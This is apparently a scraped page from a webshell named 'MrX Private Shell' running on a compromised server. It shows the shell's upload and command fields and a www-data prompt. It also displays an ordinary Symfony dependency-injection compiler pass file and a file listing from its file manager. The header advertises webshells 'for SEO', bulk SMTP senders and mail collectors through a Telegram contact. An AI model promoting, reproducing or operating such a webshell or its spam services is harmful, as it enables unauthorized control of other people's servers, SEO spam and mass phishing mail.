__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\DependencyInjection\Compiler;

use Symfony\Component\DependencyInjection\ChildDefinition;
use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\DependencyInjection\Definition;
use Symfony\Component\DependencyInjection\Exception\InvalidArgumentException;
use Symfony\Component\DependencyInjection\Exception\RuntimeException;

/**
 * Applies instanceof conditionals to definitions.
 *
 * @author Nicolas Grekas <p@tchwork.com>
 */
class ResolveInstanceofConditionalsPass implements CompilerPassInterface
{
    /**
     * @return void
     */
    public function process(ContainerBuilder $container)
    {
        foreach ($container->getAutoconfiguredInstanceof() as $interface => $definition) {
            if ($definition->getArguments()) {
                throw new InvalidArgumentException(sprintf('Autoconfigured instanceof for type "%s" defines arguments but these are not supported and should be removed.', $interface));
            }
        }

        $tagsToKeep = [];

        if ($container->hasParameter('container.behavior_describing_tags')) {
            $tagsToKeep = $container->getParameter('container.behavior_describing_tags');
        }

        foreach ($container->getDefinitions() as $id => $definition) {
            $container->setDefinition($id, $this->processDefinition($container, $id, $definition, $tagsToKeep));
        }

        if ($container->hasParameter('container.behavior_describing_tags')) {
            $container->getParameterBag()->remove('container.behavior_describing_tags');
        }
    }

    private function processDefinition(ContainerBuilder $container, string $id, Definition $definition, array $tagsToKeep): Definition
    {
        $instanceofConditionals = $definition->getInstanceofConditionals();
        $autoconfiguredInstanceof = $definition->isAutoconfigured() ? $container->getAutoconfiguredInstanceof() : [];
        if (!$instanceofConditionals && !$autoconfiguredInstanceof) {
            return $definition;
        }

        if (!$class = $container->getParameterBag()->resolveValue($definition->getClass())) {
            return $definition;
        }

        $conditionals = $this->mergeConditionals($autoconfiguredInstanceof, $instanceofConditionals, $container);

        $definition->setInstanceofConditionals([]);
        $shared = null;
        $instanceofTags = [];
        $instanceofCalls = [];
        $instanceofBindings = [];
        $reflectionClass = null;
        $parent = $definition instanceof ChildDefinition ? $definition->getParent() : null;

        foreach ($conditionals as $interface => $instanceofDefs) {
            if ($interface !== $class && !($reflectionClass ??= $container->getReflectionClass($class, false) ?: false)) {
                continue;
            }

            if ($interface !== $class && !is_subclass_of($class, $interface)) {
                continue;
            }

            foreach ($instanceofDefs as $key => $instanceofDef) {
                /** @var ChildDefinition $instanceofDef */
                $instanceofDef = clone $instanceofDef;
                $instanceofDef->setAbstract(true)->setParent($parent ?: '.abstract.instanceof.'.$id);
                $parent = '.instanceof.'.$interface.'.'.$key.'.'.$id;
                $container->setDefinition($parent, $instanceofDef);
                $instanceofTags[] = [$interface, $instanceofDef->getTags()];
                $instanceofBindings = $instanceofDef->getBindings() + $instanceofBindings;

                foreach ($instanceofDef->getMethodCalls() as $methodCall) {
                    $instanceofCalls[] = $methodCall;
                }

                $instanceofDef->setTags([]);
                $instanceofDef->setMethodCalls([]);
                $instanceofDef->setBindings([]);

                if (isset($instanceofDef->getChanges()['shared'])) {
                    $shared = $instanceofDef->isShared();
                }
            }
        }

        if ($parent) {
            $bindings = $definition->getBindings();
            $abstract = $container->setDefinition('.abstract.instanceof.'.$id, $definition);
            $definition->setBindings([]);
            $definition = serialize($definition);

            if (Definition::class === $abstract::class) {
                // cast Definition to ChildDefinition
                $definition = substr_replace($definition, '53', 2, 2);
                $definition = substr_replace($definition, 'Child', 44, 0);
            }
            /** @var ChildDefinition $definition */
            $definition = unserialize($definition);
            $definition->setParent($parent);

            if (null !== $shared && !isset($definition->getChanges()['shared'])) {
                $definition->setShared($shared);
            }

            // Don't add tags to service decorators
            $i = \count($instanceofTags);
            while (0 <= --$i) {
                [$interface, $tags] = $instanceofTags[$i];
                foreach ($tags as $k => $v) {
                    if (null === $definition->getDecoratedService() || $interface === $definition->getClass() || \in_array($k, $tagsToKeep, true)) {
                        foreach ($v as $v) {
                            if ($definition->hasTag($k) && \in_array($v, $definition->getTag($k))) {
                                continue;
                            }
                            $definition->addTag($k, $v);
                        }
                    }
                }
            }

            $definition->setMethodCalls(array_merge($instanceofCalls, $definition->getMethodCalls()));
            $definition->setBindings($bindings + $instanceofBindings);

            // reset fields with "merge" behavior
            $abstract
                ->setBindings([])
                ->setArguments([])
                ->setMethodCalls([])
                ->setDecoratedService(null)
                ->setTags([])
                ->setAbstract(true);
        }

        return $definition;
    }

    private function mergeConditionals(array $autoconfiguredInstanceof, array $instanceofConditionals, ContainerBuilder $container): array
    {
        // make each value an array of ChildDefinition
        $conditionals = array_map(fn ($childDef) => [$childDef], $autoconfiguredInstanceof);

        foreach ($instanceofConditionals as $interface => $instanceofDef) {
            // make sure the interface/class exists (but don't validate automaticInstanceofConditionals)
            if (!$container->getReflectionClass($interface)) {
                throw new RuntimeException(sprintf('"%s" is set as an "instanceof" conditional, but it does not exist.', $interface));
            }

            if (!isset($autoconfiguredInstanceof[$interface])) {
                $conditionals[$interface] = [];
            }

            $conditionals[$interface][] = $instanceofDef;
        }

        return $conditionals;
    }
}

Filemanager

Name Type Size Permission Actions
AbstractRecursivePass.php File 10.12 KB 0644
AliasDeprecatedPublicServicesPass.php File 2.19 KB 0644
AnalyzeServiceReferencesPass.php File 6.82 KB 0644
AttributeAutoconfigurationPass.php File 7.44 KB 0644
AutoAliasServicePass.php File 1.42 KB 0644
AutowireAsDecoratorPass.php File 1.59 KB 0644
AutowirePass.php File 30.71 KB 0644
AutowireRequiredMethodsPass.php File 4.04 KB 0644
AutowireRequiredPropertiesPass.php File 2.48 KB 0644
CheckArgumentsValidityPass.php File 4.25 KB 0644
CheckCircularReferencesPass.php File 2.43 KB 0644
CheckDefinitionValidityPass.php File 4.95 KB 0644
CheckExceptionOnInvalidReferenceBehaviorPass.php File 4.63 KB 0644
CheckReferenceValidityPass.php File 1.5 KB 0644
CheckTypeDeclarationsPass.php File 12.29 KB 0644
Compiler.php File 2.64 KB 0644
CompilerPassInterface.php File 695 B 0644
DecoratorServicePass.php File 5.35 KB 0644
DefinitionErrorExceptionPass.php File 3.22 KB 0644
ExtensionCompilerPass.php File 891 B 0644
InlineServiceDefinitionsPass.php File 7.81 KB 0644
MergeExtensionConfigurationPass.php File 8.24 KB 0644
PassConfig.php File 7.77 KB 0644
PriorityTaggedServiceTrait.php File 6.68 KB 0644
RegisterAutoconfigureAttributesPass.php File 3.16 KB 0644
RegisterEnvVarProcessorsPass.php File 2.99 KB 0644
RegisterReverseContainerPass.php File 2.07 KB 0644
RegisterServiceSubscribersPass.php File 7.43 KB 0644
RemoveAbstractDefinitionsPass.php File 935 B 0644
RemoveBuildParametersPass.php File 1.17 KB 0644
RemovePrivateAliasesPass.php File 1.11 KB 0644
RemoveUnusedDefinitionsPass.php File 2.84 KB 0644
ReplaceAliasByActualDefinitionPass.php File 3.78 KB 0644
ResolveBindingsPass.php File 10.2 KB 0644
ResolveChildDefinitionsPass.php File 7.44 KB 0644
ResolveClassPass.php File 1.52 KB 0644
ResolveDecoratorStackPass.php File 4.26 KB 0644
ResolveEnvPlaceholdersPass.php File 1.38 KB 0644
ResolveFactoryClassPass.php File 1.21 KB 0644
ResolveHotPathPass.php File 2.24 KB 0644
ResolveInstanceofConditionalsPass.php File 7.06 KB 0644
ResolveInvalidReferencesPass.php File 5.37 KB 0644
ResolveNamedArgumentsPass.php File 5.93 KB 0644
ResolveNoPreloadPass.php File 3.02 KB 0644
ResolveParameterPlaceHoldersPass.php File 3.12 KB 0644
ResolveReferencesToAliasesPass.php File 2.71 KB 0644
ResolveServiceSubscribersPass.php File 1.67 KB 0644
ResolveTaggedIteratorArgumentPass.php File 1.08 KB 0644
ServiceLocatorTagPass.php File 4.73 KB 0644
ServiceReferenceGraph.php File 2.62 KB 0644
ServiceReferenceGraphEdge.php File 2.09 KB 0644
ServiceReferenceGraphNode.php File 2.2 KB 0644
ValidateEnvPlaceholdersPass.php File 3.59 KB 0644
Filemanager